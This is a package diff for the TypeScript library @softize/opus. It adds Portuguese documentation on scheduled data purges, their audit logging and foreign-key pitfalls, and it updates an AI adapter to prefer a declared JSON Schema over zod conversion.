+ ```ts
2185
+ import { bindPurge } from '@softize/opus/data'
2186
+
2187
+ export const dealPurge = bindPurge(Deal, async ({ ctx, cutoff, batchSize }) => {
2188
+ // apaga os anexos em outro serviço e depois as linhas; devolve os ids que saíram
2189
+ const ids = await purgeDealsWithAttachments(ctx, cutoff, batchSize)
2190
+ return { ids }
2191
+ })
2192
+
2193
+ export const crm = defineDomain({ name: 'crm', entities: { Deal }, purges: [dealPurge] })
2194
+ ```
2195
+
2196
+ A rotina exige um `SchedulerAdapter`, como qualquer schedule. No modo design, a action entra no
2197
+ catálogo, sem rota HTTP porque é `internal`, e a rotina não inicia.
2198
+
2199
+ Os schemas da action são Standard Schema escritos pelo Opus, sem zod, com o JSON Schema anexado
2200
+ em `~standard.jsonSchema`. O manifest, o OpenAPI e o MCP leem esse JSON Schema antes de recorrer
2201
+ ao zod, então `@softize/opus` continua carregando sem zod instalado.
2202
+
2203
+ **Dependências no banco.** O schema do Opus não declara cascata. Se uma chave estrangeira
2204
+ restritiva recusar a exclusão, a execução falha com o erro do banco no log e na auditoria, e nada
2205
+ daquele lote é apagado. Como a linha travada está entre as mais antigas, ela volta ao primeiro lote
2206
+ em toda execução: o expurgo da entidade fica parado até a chave ser ajustada. Antes de declarar
2207
+ `retainDays`, confira as chaves que apontam para a tabela; use cascata na DDL ou um `bindPurge`
2208
+ que apague os dependentes primeiro.
2209
+
2210
+ **O registro.** Cada lote que apaga algo registra `opus.purge` com a entidade, a action, o corte,
2211
+ o `olderThanDays`, o número do lote (`batch`) e os ids removidos, em blocos de no máximo 500 ids.
2212
+ No fim da execução que apagou algo, `opus.purge.total` traz `purged`, `batches` e `remaining`,
2213
+ verdadeiro quando a execução parou por tempo com o lote cheio ou foi interrompida por erro. Os
2214
+ registros vão para o `ctx.log` e, na falta dele, para o logger do runtime. Depois do expurgo, só
2215
+ eles e a auditoria da execução contam o que saiu.
2216
+
2121
2217
  ### O que **não** entra
2122
2218
 
2123
2219
  - **ORM / Active Record.** Sem `deal.save()`, sem estado na instância. Entidade é descrição, não objeto vivo.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@softize/opus",
3
- "version": "24.0.1",
3
+ "version": "25.0.0",
4
4
  "description": "End-to-end action protocol for TypeScript. Single package with subpath exports (core + adapters).",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -13,6 +13,7 @@
13
13
  */
14
14
 
15
15
  import { zodToJsonSchema } from 'zod-to-json-schema'
16
+ import { declaredJsonSchema } from '../../core/index.ts'
16
17
  import type {
17
18
  AiAdapter,
18
19
  AiCompleteOptions,
@@ -95,6 +96,8 @@ function sdk(): Promise<typeof import('@anthropic-ai/sdk')> {
95
96
  }
96
97
 
97
98
  function defaultToJsonSchema(schema: unknown): unknown {
99
+ const declared = declaredJsonSchema(schema)
100
+ if (declared !== null) return declared
98
101
  return zodToJsonSchema(schema as Parameters<typeof zodToJsonSchema>[0], { $refStrategy: 'none' })
99
102
  }
100
103